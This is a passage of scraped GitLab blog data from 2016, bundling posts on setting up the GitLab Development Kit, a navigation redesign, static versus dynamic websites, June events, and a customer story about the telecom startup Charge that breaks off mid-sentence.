Contributors][1k-post]\n\nGitLab is built on open-source and has a thriving community. We appreciate all\nof our existing contributors and we look forward to welcoming new contributors,\nas well. This post is helpful if you've considered developing a feature or fix\nfor GitLab but are unsure how to set up a development environment.\n\nAs with any Rails application, GitLab has a few moving parts: a database, Redis,\nSidekiq, the Rails application server, GitLab Workhorse, and GitLab Shell. It\ncan be a challenge to configure each of these components on your own. That's why\nwe created the GitLab Omnibus packages for users, recently highlighted in\n[another blog post][omnibus-blog-post]. Perhaps not as well known is that we\nalso have the [GitLab Development Kit (GDK)][gdk] to improve the experience for\ndevelopers. In this post we'll go through the steps necessary to get GDK set up\non your workstation.\n\n\u003C!-- more -->\n\nAll of the details here were obtained from the GDK [README file][gdk-readme],\nwhich is comprehensive and should be your first resource when you have\nquestions.\n\n## Installing Prerequisites\n\nFirst, you need to install some prerequisite items. Every platform has\ndifferent requirements and we've outlined the steps for each in the\n['Prerequisites for all platforms'][gdk-prereq] section of the README. We have\ninstructions for Mac, Ubuntu, Arch Linux, Debian, Fedora, and CentOS/Red Hat.\nFor example, to install prerequisites for a Mac, run the following commands in\nTerminal:\n\n```bash\nbrew tap homebrew/dupes\nbrew tap homebrew/versions\nbrew install git redis postgresql libiconv icu4c pkg-config cmake nodejs go openssl node npm\nbundle config build.eventmachine --with-cppflags=-I/usr/local/opt/openssl/include\nnpm install phantomjs@1.9.8 -g\n```\n\n## Installation\n\nNext, clone the GDK repository:\n\n```\ncd /path/to/your/workspace\ngit clone git@gitlab.com:gitlab-org/gitlab-development-kit.git\ncd gitlab-development-kit\n```\n\nBefore configuring GDK, fork any GitLab repositories that you plan\nto contribute to. By default, GDK will install using the source repositories,\nsuch as `https://gitlab.com/gitlab-org/gitlab-ce.git`. Community members do not\nhave privileges in the main `gitlab-ce` project so you will need a fork to\nsubmit merge requests. Here is a list of various GitLab repositories you may\nwant to fork:\n\n- **GitLab CE** - [https://gitlab.com/gitlab-org/gitlab-ce](https://gitlab.com/gitlab-org/gitlab-ce)\n- **GitLab EE** - [https://gitlab.com/gitlab-org/gitlab-ee](https://gitlab.com/gitlab-org/gitlab-ee)\n- **GitLab Shell** - [https://gitlab.com/gitlab-org/gitlab-shell](https://gitlab.com/gitlab-org/gitlab-shell)\n- **GitLab Workhorse** - [https://gitlab.com/gitlab-org/gitlab-workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse)\n\nAfter forking any of the above repositories, you are ready to run the `make`\ncommand to install all components. Be sure to tell `make` about your forks.\nIf you chose not to fork one or more repositories you can leave off the\ncorresponding argument and GDK will use the source repository.\n\n```bash\nmake gitlab_repo=git@gitlab.com:example/gitlab-ce.git gitlab_shell_repo=git@gitlab.com:example/gitlab-shell.git gitlab_workhorse_repo=git@gitlab.com:example/gitlab-workhorse.git\n```\n\nThe above `make` command installs and configures all components.\nThen, run `support/set-gitlab-upstream` to automatically add an upstream remote\nin each cloned GitLab component. This will ensure that upstream changes are\npulled in later when you run `make update`.\n\nStart GDK by executing `./run`. All components will be started and output will\nbe logged to the console. You can access GitLab in your browser at\n`http://localhost:3000` or press `Ctrl-C` to stop all processes.\n\n## Making changes\n\nThe various component repositories are all cloned inside the GDK directory.\nFor example, GitLab code is checked out in `$GDK_HOME/gitlab`. Change in to\nthis directory and check out a new feature branch.\n\nAs you make changes you can refresh your browser to see the effects. In some\ncases, you may need to restart GDK to load the change. Restart by pressing\n`Ctrl-C` and then execute `./run` again.\n\n## Running tests\n\nSome changes will require writing tests, or running existing tests to ensure\nyou didn't break anything. GDK makes this very easy using the following commands:\n\n- `rake spinach` to run the spinach suite\n- `rake spec` to run the rspec suite\n- `rake gitlab:test` to run all the tests\n\nGitLab has a lot of tests and it can take a long time to run the full suite.\nUse the following command format to run tests in a single file:\n\n- `bundle exec rspec spec/controllers/commit_controller_spec.rb` for a rspec test\n- `bundle exec spinach features/project/issues/milestones.feature` for a spinach test\n\n## Opening a merge request\n\nIf all tests pass and you're ready to submit for review, commit the changes and\npush them to your fork. Then, visit GitLab.com and you should notice a banner\nnear the top. Click the blue 'Create Merge Request' button to initiate a merge\nrequest. This will create a merge request from your fork to the GitLab source\nproject so our team can review your contribution.\n\n![Last push widget](https://about.gitlab.com/images/gdk/last_push_widget.png)\n\nCongratulations! After installing the GitLab Development Kit you are\nwell-equipped to contribute to GitLab. We're happy to welcome you to our\ncommunity and look forward to your future contributions.\n\nFor more information on contributing to GitLab, please see our\n[Contributing Guide][contrib-guide].\n\n[1k-post]: /2016/05/24/1k-contributors/\n[omnibus-blog-post]: /2016/03/21/using-omnibus-gitlab-to-ship-gitlab/\n[gdk]: https://gitlab.com/gitlab-org/gitlab-development-kit/\n[gdk-readme]: https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/README.md\n[gdk-prereq]: https://gitlab.com/gitlab-org/gitlab-development-kit/tree/master#prerequisites-for-all-platforms\n[contrib-guide]: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md\n",{"slug":38079,"featured":6,"template":678},"getting-started-with-gitlab-development-kit","content:en-us:blog:getting-started-with-gitlab-development-kit.yml","Getting Started With Gitlab Development Kit","en-us/blog/getting-started-with-gitlab-development-kit.yml","en-us/blog/getting-started-with-gitlab-development-kit",{"_path":38085,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38086,"content":38092,"config":38096,"_id":38098,"_type":16,"title":38099,"_source":17,"_file":38100,"_stem":38101,"_extension":20},"/en-us/blog/navigation-redesign",{"title":38087,"description":38088,"ogTitle":38087,"ogDescription":38088,"noIndex":6,"ogImage":38089,"ogUrl":38090,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38090,"schema":38091},"Navigation redesign","After GitLab 8.5 was released, we looked for a way to improve the current user interface for both new and experienced users.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684693/Blog/Hero%20Images/gitlab-blog-cover.png","https://about.gitlab.com/blog/navigation-redesign","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Navigation redesign\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dmitriy Zaporozhets\"}],\n        \"datePublished\": \"2016-06-06\",\n      }",{"title":38087,"description":38088,"authors":38093,"heroImage":38089,"date":38094,"body":38095,"category":299},[16575],"2016-06-06","\n\nAfter GitLab 8.5 was released, we looked for a way to improve the current user\ninterface for both new and experienced users. One of our biggest concerns was\nthat it was easy to get lost in the navigation hierarchy with what we currently\nhad. New users were quite confused by how the left sidebar constantly changes\nwith new links to different pages. At the same time, as an experienced user, I was\nannoyed by the old navigation too.\n\nSo Andriy (our UX designer) and I decided to do something about it. It's been\nalmost 4 months now that we are working on it, and in this post I will guide you\nthrough our journey. Feedback is welcome!\n\n\u003C!--more-->\n\n## How it all started\n\nOne day, while on a call, Andriy and I both agreed that we were not satisfied\nwith the current UI. I even made a messy screenshot with the default project's\nnavigation to illustrate my confusion:\n\n![old project navigation](https://about.gitlab.com/images/navigation-redesign/old-pr-nav.png)\n\nThere were quite a few things we did not like:\n\n- The current navigation is not well organized. There are places where it does\n  not follow logic or best practices.\n- We cannot use muscle memory with the collapsed menu sidebar for fast click\n  on links because the menu has too many items with new ones added every once\n  in a while.\n- It's hard to navigate when you come to GitLab via a link from another app\n  (like chat, for example) because of the lack of a logical hierarchy in our UI\n  navigation.\n\nA few days later, Andriy came up with a prototype where the project's menu was\ndisplayed within the dashboard navigation. So when you visit the dashboard\npage you see one level of links, and when you visit a project or group page\nthe dashboard links get collapsed to icons and the next level of navigation\nis displayed.\n\n![failed navigation concept](https://about.gitlab.com/images/navigation-redesign/concept1.png)\n\n## UX is more important than you think\n\nWe were very excited with the new concept and proceeded with the implementation,\nwhich was pretty straightforward: we made a merge request, got feedback and review,\nand in the end we merged it. Then we waited for the next release candidate to\nbring the new navigation to our community.\n\nThen came the bad news. User testing and feedback during that release candidate\nwas far from what we expected. Instead of making things easier to understand and\nuse, we confused users even more! Our community feedback is invaluable to us,\nso we made the decision to rollback the change. At that point we gave up for a\nwhile...\n\nIt wasn't until a few weeks later that we decided to take a different path.\n\n## A different approach\n\nWe split GitLab's layout of different areas by color, and tried to follow the\nnavigation hierarchy as close as we could.\n\nGlobal navigation would now have a dark color in the left sidebar, and would be\nstatic. No matter which page should you visit, you can always find GitLab's logo,\nyour profile picture, and the main links for your projects, issues and profile\nsettings.\n\n![new navigation explained](https://about.gitlab.com/images/navigation-redesign/nav-exp.png)\n\nThe whole page, except for the left sidebar, is a dynamic area with its\ncorresponding navigation and content. If you visit a project's page, the context\nmenu will be on the top, and the content just below it. The same happens for\ngroup and profile pages. So, when you visit any page from within GitLab or\nfrom an external application, you'll always know that the left sidebar is the\nsame, and the header describes exactly where you are via name and navigation\nlinks.\n\nWhen you visit a GitLab page several times a day, you scan the page from top to\nbottom starting with page/group/project name, followed by the navigation, then\nthe content just below it.\n\nYou mostly ignore the left sidebar until you need to return to one of the main\npages, like \"Projects\" or \"Groups\". So after some time using the new UI, you\nmight consider collapsing the left sidebar as it's easier now to remember the\nicons related to the links there.\n\nFirst we tried it on the profile pages and later on the group ones. The feedback\nwe received was mostly positive, it passed the release candidate and got in the\n8.8 release!\n\nHere's how the group page with the new navigation layout looks like:\n\n![group navigation](https://about.gitlab.com/images/navigation-redesign/group-nav.png)\n\n## Mobile improvements\n\nThanks to these changes, we were able to improve the mobile UI as well. We now\nhide the left sidebar by default when on mobile and you can toggle it by clicking\nthe link on the top-left corner. This allowed us to save a lot of horizontal\nspace which is really valuable on mobile screens.\n\n![mobile navigation](https://about.gitlab.com/images/navigation-redesign/mobile.png)\n\n## What's coming with GitLab 8.9\n\nOur next milestone is GitLab 8.9 where we will strive to finish the navigation\nredesign by touching the most-used page type: Projects. Probably this change\nwill bring a lot of feedback from the user's side. We have too many menu items\nthere, which is not good for the user experience.\n\nSo, besides actually applying the new navigation style, we also need to re-group\nlogically connected pages under fewer tabs. The old project navigation had up\nto 15 menu items (!) which is too much for most screen sizes.\n\nHere is a preview for 8.9:\n\n![new project navigation](https://about.gitlab.com/images/navigation-redesign/project.png)\n\n## Resources\n\nThe [Google design guide][gdesign] was good for inspiration and you can read\nthe [issue for new navigation][issue] where a lot of discussion took place.\n\nWe would love your feedback so don't hesitate to comment here or in the above\nissue! Hopefully you'll find GitLab 8.9 much more easier to navigate.\n\n[gdesign]: https://www.google.com/design/spec/components/tabs.html#tabs-types-of-tabs\n[issue]: https://gitlab.com/gitlab-org/gitlab-ce/issues/14838\n",{"slug":38097,"featured":6,"template":678},"navigation-redesign","content:en-us:blog:navigation-redesign.yml","Navigation Redesign","en-us/blog/navigation-redesign.yml","en-us/blog/navigation-redesign",{"_path":38103,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38104,"content":38110,"config":38114,"_id":38116,"_type":16,"title":38117,"_source":17,"_file":38118,"_stem":38119,"_extension":20},"/en-us/blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static",{"title":38105,"description":38106,"ogTitle":38105,"ogDescription":38106,"noIndex":6,"ogImage":38107,"ogUrl":38108,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38108,"schema":38109},"SSGs Part 1: A Static vs Dynamic Website","This is Part 1: A Dynamic vs Static Website, where we go over their differences, pros and cons.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684818/Blog/Hero%20Images/part-1-static-x-dynamic-cover.jpg","https://about.gitlab.com/blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SSGs Part 1: A Static vs Dynamic Website\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-06-03\",\n      }",{"title":38105,"description":38106,"authors":38111,"heroImage":38107,"date":38112,"body":38113,"category":734},[34953],"2016-06-03","\n**Static** Vs **Dynamic** websites, what is the difference? What are the advantages of one over another? Which ones can I use with **GitLab Pages**? What about **Static Site Generators**?\n\nIf these questions ring a bell, this **series of posts** is for you! We are preparing three articles around the same theme \"**Static Site Generators (SSGs)**\".\n\nThis is **Part 1: Dynamic vs Static Websites**, where we go over their differences, pros and cons.\n\nStay tuned for the next two posts:\n\n- **[Part 2: Modern Static Site Generators][part-2]**\n- **[Part 3: Build any SSG site with GitLab Pages][part-3]**\n\n**Note:** For this series, we assume you are familiar with web development, curious about Static Site Generators, and excited to see your site getting deployed with GitLab Pages.\n{: .note}\n\n\u003C!-- more -->\n\n----------\n\n### What's in this page?\n{:.no_toc}\n\n- TOC\n{: toc}\n\n----\n\n## A static Vs dynamic Website\n\nAt the core, the difference between static and dynamic websites is that a static website appears the same for every user that visits it. Static websites can only change when the source files are modified by a developer. A dynamic website, however, changes based on data from visitor behaviors and serves up different look, feel and content depending on the users. \n\n### Static website\n\nA static website is a combination of HTML markup (the text we see written on web pages), CSS (Cascading Style Sheets), which are the styles and layouts applied to that pages, and JavaScript, a programming language that defines their behavior (e.g., fade in and fade out, hover effects, etc.). These pages are stored as simple files, usually in a [VPS][wiki-vps], which are then served by a web server. When we type in our web browsers the URL for a web page like that, our browser (called _client_) is making an _HTTP request_ to that server, which identifies which files are being requested, and send them back to our browsers via an _HTTP response_.\n\n#### Advantages of a static site\n\nStatic sites are simple. They’re a collection of basic files that are manually updated as needed. Static sites are generally built using HTML and CSS and they’re a common choice for new or small companies to get their presence on the web.\n\nAnd even though static sites can require more time on the backend, they can also be faster from a user perspective because they don’t undergo any changes when requested - they just are as they are.  \n\n#### Disadvantages of a static site\n\nThough it can be an advantage, the simple style of a static site can also be a roadblock. The process of making changes to a given page is entirely manual because there’s no user interface or data processing to automate page changes. It can be time-consuming and repetitive, and far less scalable than a dynamic site. \n\nThe other major disadvantage of a static site is that it shows the same content to every visitor. That may work for certain page purposes, but content creation isn’t a one-size-fits-all scenario. Different content attracts and converts different visitors, so the same page for all is not always a good thing.\n\n### Dynamic website\n\nA dynamic website is more complicated than that. Besides the markup, the styles and the behavior, they do more things that our **web browsers** can identify. For example, if you are buying something online, it's easy to understand that the prices and the availability of that item are _dynamically_ recovered from some data, generally stored in _databases_. This process of recovering data and processing it _before_ responding to our browsers as web pages containing that information, is called _server-side_ processing.\n\n#### Advantages of a dynamic site\n\nA dynamic site is a bit more easily customizable without nearly the amount of manual work a static site change requires. This type of site changes more fluidly based on a visitor’s geographic location, time zone, and other preferences. Web servers build dynamic site pages at a random pace when a user requests a page. \n\nAfter that request, information is pulled by the server from one or more databases to custom build an HTML file that gets shipped back to the browser and becomes the page. No site visitor necessarily sees the same page as another, making the user experience more personalized.\n\n#### Disadvantages of a dynamic site\n\nAs opposed to the simplicity of a static site, a dynamic site can be a bit more complex to build and maintain due to its ever-changing nature. It may require a bit more developer knowledge or the help of an experienced developer to keep it updated, which can cost more in terms of learning or hiring. \n\nAlso, since the pages are more customized, the load time can be affected. Now let's take a better look into these processes to be able to understand how those things work, how important they are, and why this information is useful for us. \n\nHow about starting from the beginning?\n\n### A static Vs dynamic website: the history\n\nAbout 25 years ago, in 1990, [Tim Berners-Lee][tim-bl] [published][first-site-1990] the [first website in history][first-website]. It was a plain [static webpage] with a few tags and links. Three years later, in 1993, the birth of the [dynamic web] took place, when the [Common Gateway Interface (CGI)][wiki-cgi] was [first introduced][first-cgi]. CGI was a way to let a website run scripts on the web server and display the output.\nFrom then on, the evolution was huge.\n\nWith the advent of processing server-side scripts, came forward the [Web Content Management Systems (WCMS)][wcms], allowing us to create and maintain databases connected to the internet. Websites with such server-side processing, which provide high-level interactivity with the user, are commonly referred as [web applications][web-apps]. [GitLab] is one of them. Some notable examples are [WordPress], [Joomla!], [Drupal], [Magento], [Ghost], and [many others][cms-list].\n\nBesides connecting websites with databases, the dynamic web is an important asset to work with [template systems][template-sys]. By using them, developers write fast, update websites faster, and reduce mistakes (provoked by repetition).\n\nUnfortunately, with the growing popularity of server-side based websites, came together their [vulnerabilities][common-vulnerabilities]. [Security issues] are common among them, and there are a lot of [measures][security-web-apps] we need to take to prevent attacks of uncountable natures. We need to protect our users, our site, and our server. Everything in between is subjected to attacks.\n\nAn intelligent counter-measure for avoiding those security threats and, at the same time, maintaining the benefits of templating systems, was the creation of **Static Site Generators (SSGs)**. With them, we write dynamically and publish statically.\n\nSSGs came out on the early 2000's, with [Blosxom] in 2003, and [WebGen] in 2004. In 2008, [Tom Preston-Werner][tom-pw] released [Jekyll], by far the [most popular SSG][ssgs-list] up to now. The interest for Static Site Generators have increased considerably in the last few years, as you can see at the chart below, from [Google Trends]:\n\n![Static Site Generators - Google Trends](https://about.gitlab.com/images/blogimages/ssg-gitlab-pages-series/part-1-ssg-google-trends.png)\n\n## Server processing: static vs dynamic web pages\n\nLet's take a look at the image below and see [how static pages and dynamic pages][static-x-dynamic-video] communicate with the web server.\n\n**Web server** software, such as [Apache], [NGINX] and [IIS], are able to store and read static files only: HTML, CSS and JavaScript. **Application server** software, as [PHP], [Cold Fusion] or [ASP.NET] to name a few, are the only ones able to interpret dynamic scripting.\n\nEvery browser (known as _client_) communicates with **web servers only**, via HTTP _(HyperText Transfer Protocol)_, with a URL _(Uniform Resource Locator)_.\n\n![Static vs Dynamic server processing](https://about.gitlab.com/images/blogimages/ssg-gitlab-pages-series/part-1-dynamic-x-static-server.png)\n\n**Scheme A:** the client (web browser) sends an **HTTP request** to the web server with a URL. The HTML _(HyperText Markup Language)_ file requested, stored in the web server, is immediately returned to the client with an **HTTP response**, and its content is interpreted by the browser and then displayed to the user. This is known as _client-side processing_.\n\n**Scheme B:** the client sends an **HTTP request** to the **web server**, which dispatches the request to the **application server**. The application server may **request data from a database** first, and then **constructs the HTTP response** based on the data recovered from the database. This response is passed back to the **web server**, which returns the HTML file, constructed by the application server, to the client, via **HTTP response**. This is called _server-side processing_.\n\nThe main difference is, dynamic webpages are not served as-is by the web server as static pages are. They are constructed for every HTTP request sent by each client.\n\nThese additional steps, necessary for dynamic websites, increase the time for the user to receive the HTTP response from the server with the requested page (URL). And nobody likes waiting.\n\nServer resources are also affected by dynamic websites as for each HTTP request, the same content needs to be constructed again and again.\n\nThere's another main advantage of static over dynamic sites. Static pages don't process user data, circumventing a major security issue related to dynamic web applications: user privacy. If the users don't send any data to your server, there is no data to be stolen.\n\n## Conclusion\n\nFully-featured server providers (Scheme B) have the capability of processing server-side scripts for web applications. Their structure is more complex and naturally more expensive, whereas static web servers (Scheme A), which only handle static pages, can be maintained with less cost. With [GitLab Pages][pages] you can host your site for **free**.\n\nThe majority of web developers don't write static sites anymore. It does take a lot more time, both to write and update, than dynamic ones. But, as previously commented, SSGs resolve this problem. We can code dynamically and the SSG outputs only static webpages for us. That's the content uploaded to our web server, in this particular case, **GitLab Pages**, which runs on NGINX.\n\nStay tuned for the next article of this series, in which we will provide you with an overview on **[Modern Static Site Generators][part-2]**, explaining how they work, what they support, and why should we really consider using SSGs for our sites.\n\nSee you there!\n\nDon't you have an account on [GitLab.com][sign-up] yet? Let's create one!\n\nFollow [@GitLab][twitter] on Twitter and stay tuned for updates!\n\n\u003C!--\nCover image: https://pixabay.com/en/ball-http-www-crash-administrator-63527/\nOther images:\nApp server: https://pixabay.com/en/computer-database-network-server-156948/\nWeb server: https://pixabay.com/en/computer-network-proxy-server-156950/\nDatabase: https://pixabay.com/en/database-data-storage-information-309919/\nMan at the computer: http://publicdomainvectors.org/en/free-clipart/Vector-illustration-of-man-at-computer/3839.html\nIllustration (Static x Dynamic Websites): Marcia Ramos for GitLab, Inc.\n-->\n\n\u003C!-- IDENTIFIERS -->\n\n[part-2]: /blog/ssg-overview-gitlab-pages-part-2/\n[part-3]: /blog/ssg-overview-gitlab-pages-part-3-examples-ci/\n\n\u003C!-- Alphabetical, miscellaneous -->\n\n[blosxom]: http://blosxom.sourceforge.net/\n[cms-list]:  https://en.wikipedia.org/wiki/List_of_content_management_systems\n[common-vulnerabilities]:  https://www.toptal.com/security/10-most-common-web-security-vulnerabilities\n[dynamic web]:  https://en.wikipedia.org/wiki/Dynamic_web_page\n[first-cgi]:  https://www.pingdom.com/blog/a-history-of-the-dynamic-web/\n[first-site-1990]:  http://www.telegraph.co.uk/technology/internet/12061803/The-worlds-first-website-went-online-25-years-ago-today.html\n[first-website]: http://info.cern.ch/hypertext/WWW/TheProject.html\n[GitLab]: / \"GitLab.com, GitLab CE, GitLab EE\"\n[google trends]: //www.google.com.br/trends/explore?hl=en-US#q=%22static+site+generator%22&cmpt=q&tz=Etc/GMT%2B3&tz=Etc/GMT%2B3\n[Jekyll]: https://jekyllrb.com\n[security issues]: https://www.cs.columbia.edu/~smb/classes/f06/l09.pdf\n[security-web-apps]: https://msdn.microsoft.com/en-us/library/zdh19h94.aspx\n[ssgs-list]: https://staticsitegenerators.net/\n[static webpage]: https://en.wikipedia.org/wiki/Static_web_page\n[static-x-dynamic-video]: https://www.youtube.com/watch?v=zC03bcuVZHY\n[template-sys]: https://en.wikipedia.org/wiki/Web_template_system\n[tim-bl]: https://en.wikipedia.org/wiki/Tim_Berners-Lee\n[tom-pw]: https://en.wikipedia.org/wiki/Tom_Preston-Werner\n[wcms]: https://en.wikipedia.org/wiki/Web_content_management_system\n[web-apps]: https://en.wikipedia.org/wiki/Web_application\n[webgen]: http://webgen.gettalong.org/news.html#webgen-0-1-0-released\n[wiki-cgi]:  https://en.wikipedia.org/wiki/Common_Gateway_Interface\n[wiki-vps]: https://en.wikipedia.org/wiki/Virtual_private_server \"Virtual Private Server\"\n\u003C!-- GitLab -->\n\n[pages]: https://pages.gitlab.io\n[sign-up]: https://gitlab.com/users/sign_in \"Sign Up!\"\n[twitter]: https://twitter.com/gitlab\n\n\u003C!-- Server software -->\n\n[Apache]: //www.apache.org/\n[NGINX]: https://www.nginx.com/\n[IIS]: //www.iis.net/\n[PHP]: //php.net/\n[Cold Fusion]: https://www.adobe.com/products/coldfusion/\n[ASP.NET]: http://www.asp.net/\n\n\u003C!-- CMS -->\n\n[drupal]: https://www.drupal.org/\n[ghost]: https://ghost.org/\n[joomla!]: https://www.joomla.org/\n[magento]: https://magento.com/\n[wordpress]: https://wordpress.org/\n",{"slug":38115,"featured":6,"template":678},"ssg-overview-gitlab-pages-part-1-dynamic-x-static","content:en-us:blog:ssg-overview-gitlab-pages-part-1-dynamic-x-static.yml","Ssg Overview Gitlab Pages Part 1 Dynamic X Static","en-us/blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static.yml","en-us/blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static",{"_path":38121,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38122,"content":38128,"config":38132,"_id":38134,"_type":16,"title":38135,"_source":17,"_file":38136,"_stem":38137,"_extension":20},"/en-us/blog/june-events",{"title":38123,"description":38124,"ogTitle":38123,"ogDescription":38124,"noIndex":6,"ogImage":38125,"ogUrl":38126,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38126,"schema":38127},"Meet GitLab - June Events","If you have been following along last month the entire GitLab team met, many for the first time, in Austin, TX.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684686/Blog/Hero%20Images/SHU_4933.jpg","https://about.gitlab.com/blog/june-events","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet GitLab - June Events\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2016-06-01\",\n      }",{"title":38123,"description":38124,"authors":38129,"heroImage":38125,"date":38130,"body":38131,"category":299},[27374],"2016-06-01","\n\nIf you have been following along last month the entire GitLab team met, many for the first time, in Austin, TX. The trip was a great success. We were able to fit in work, OSCON, fun, and lots of BBQ.\n\n\u003C!-- more -->\n\n![GitLab Team](https://about.gitlab.com/images/blogimages/IMG_1592.PNG)\n\nSo lets start with OSCON: Having the entire GitLab team in Austin for the week allowed around half of our team members to participate in OSCON. Conference attendees had fun playing Jenga in our booth trying desperately to win an ever-coveted pair of tanuki socks. We met some great people at both the booth and the conference events. We love meeting with other open source enthusiasts so much that we signed up for OSCON Austin 2017 and OSCON London in the fall. We hope to see you there!\n\n![OSCON Booth](https://about.gitlab.com/images/blogimages/osconbooth.JPG)\n\nLet's move on to some of the work, fun, and food: The team started the week off right with some of the most silly games of bubble soccer ever played, and a back yard pig roast. The fun continued with some team excursions, kayaking, tubing, and mini golf. We managed to mix in some meetings, strategy sessions, security 101 talks, as well as pushing our regular monthly release. All in all the trip was very productive. We love being a remote-first company but we definitely cherish the time we get to spend face to face.\n\n![Pig Roast](https://about.gitlab.com/images/blogimages/pigroast.PNG)\n\nSo now let's move on to where you can meet us this coming month. If you'll be attending these events, please say hello in the comments.\nWe'd love to meet you.\n\n## North America\n\n- [South East Linux Fest](http://www.southeastlinuxfest.org/), June 10th - 12th in Charlotte, NC: [Amanda] is speaking.\n- [Lean Poker SF](http://www.meetup.com/Lean-Poker-San-Francisco/events/230150034/), June 11th in San Francisco, CA. We are helping sponsor the event and GitLab team-members will be in attendance.\n- [Docker Con](http://2016.dockercon.com/), June 19th - 21st in Seattle, WA. Come meet [Emily], [Haydn], [Amanda], and [John] at our booth.\n- [Red Hat Summit](https://www.redhat.com/en/summit), June 27th - 30th in San Francisco, CA. Our very own CEO, [Sid] will be stopping by as well as [Eliran], [Amanda], [Haydn], [Mark], and [Emily].\n\n## South America\n\n- [Ruby on Rails Bootcamp](http://rails.softwarelibrechile.cl) - Universidad de Santiago de Chile, Santiago, Chile. June 4, 11, 18. Ruby, Rails & Git [Felipe]\n\n## Europe\n\n- [Shift Split](http://shiftsplit.com/), June 2nd -3rd in Split, Croatia:  -- [Ivan] will be speaking on, \"Why diploma is not enough as a programmer, and what to do about it...\"\n- [Rails Girls Warsaw](http://railsgirls.com/warsaw), June 11th - 12th in Warsaw, Poland:  -- We are sponsoring and it's still not too late to register for the event.\n\n[team]: /company/team/\n[Amanda]: https://twitter.com/AmbassadorAwsum\n[Sid]: https://twitter.com/sytses\n[Felipe]: https://twitter.com/juanpintoduran\n[Emily]: https://twitter.com/emilylucie\n[Ivan]: https://twitter.com/inemation\n[Haydn]: https://twitter.com/haydnmackay\n[John]: https://twitter.com/northrup\n[Eliran]: https://twitter.com/eliran_mesika\n[Mark]: https://twitter.com/MarkPundsack\n",{"slug":38133,"featured":6,"template":678},"june-events","content:en-us:blog:june-events.yml","June Events","en-us/blog/june-events.yml","en-us/blog/june-events",{"_path":38139,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38140,"content":38146,"config":38150,"_id":38152,"_type":16,"title":38153,"_source":17,"_file":38154,"_stem":38155,"_extension":20},"/en-us/blog/customer-story-charge-communications",{"title":38141,"description":38142,"ogTitle":38141,"ogDescription":38142,"noIndex":6,"ogImage":38143,"ogUrl":38144,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38144,"schema":38145},"Customer Story: Charge","In this post we will share how Charge, a telecommunications company uses GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684736/Blog/Hero%20Images/person-on-phone.jpg","https://about.gitlab.com/blog/customer-story-charge-communications","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer Story: Charge\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-05-31\",\n      }",{"title":38141,"description":38142,"authors":38147,"heroImage":38143,"date":38148,"body":38149,"category":8943},[711],"2016-05-31","\n\nWe always like to hear how our customers are using GitLab. In this post we will share how [Charge](https://charge.co/), \na telecommunications company uses GitLab. \n\n\u003C!-- more -->\n\n- **Industry:** Data-only telecommunications\n- **Company Size:** 5\n- **Development Team:** 5\n- **Location:** San Francisco\n\n## Overview\n\nCharge, the San Francisco-based startup, is looking to change the way we pay for our phone \nservice. They offer simple pay-as-you-go plans for data, text, and calls on LTE devices. Charge \nruns lean with a small team of five. This mighty team of five is working on a solution to rival the telecommunications giants. \nTheir mission to provide simple mobile phone service that puts consumers in control is no small undertaking. \nWith their ambitious goal in mind, they quickly realized that their team couldn’t afford any missteps.\n\n![](https://about.gitlab.com/images/blogimages/Charge-customer-story/person-on-phone-2.jpg)\n\nCharge needed to find a distributed version control solution that would help improve their engineering workflow, speed up \ntheir development process, and withstand industry security requirements. After looking into a number \nof different tools across the market, the team decided that GitLab Community Edition was the \nbest solution for their needs. Since Charge migrated to GitLab they have already \nseen decreased development times and increased confidence in the code they’re deploying.  \n\n## Looking for a secure alternative\n\nBefore GitLab, Charge was using raw git with git+ssh for access. They didn’t have a web interface for repo management \nor code review. Feeling like they had the opportunity to drastically improve their engineering workflow, \nthe Charge team decided to look for a product to support their 25 repositories and 5 developers. However, \nthe team could not go with just any solution. They needed one with a specific set of features that would \nalign with their strict industry regulations.\n\nCharge’s CTO, Chris Goddard, explains: \"When working with telecom carriers like we do, there are legal \nrequirements concerning customer information (called CPI) and the software that interacts with customer \ninformation that we must adhere to.” The need to keep customer information secure is one of the primary \nreasons that Chris considered GitLab’s self-managed Community Edition. Chris added, \"privacy is very important \nto us generally. And we like to be in control of the software that we use for system-critical work. Being able \nto self-host things that store important company secrets is paramount, which is why we love GitLab!\" \n\n## Decreased deployment time and increased confidence\n\nGitLab is currently Charge's sole code review tool, hosting all of their 25 internal git repositories. \nThe team runs GitLab using an on-host database (Postgres), with daily backups. Charge uses \nGoogle OAuth integration, a feature that was crucial to the team when they were searching for \nthe right software for their needs. The five-strong development team also use both webhooks \nand git hooks for integration with their build server. \n\nFor Chris, Charge’s CTO, GitLab has been an amazing revelation to the team’s engineering workflow. \nChris comments on the positive changes that he and the team have witnessed, stating that they are \nextremely pleased with their new code review process. He continues: \"But the biggest change was in deployment time. \nGitLab allowed us to easily integrate with our build server and automate deployments. Before, deployment \nwas an hour-long 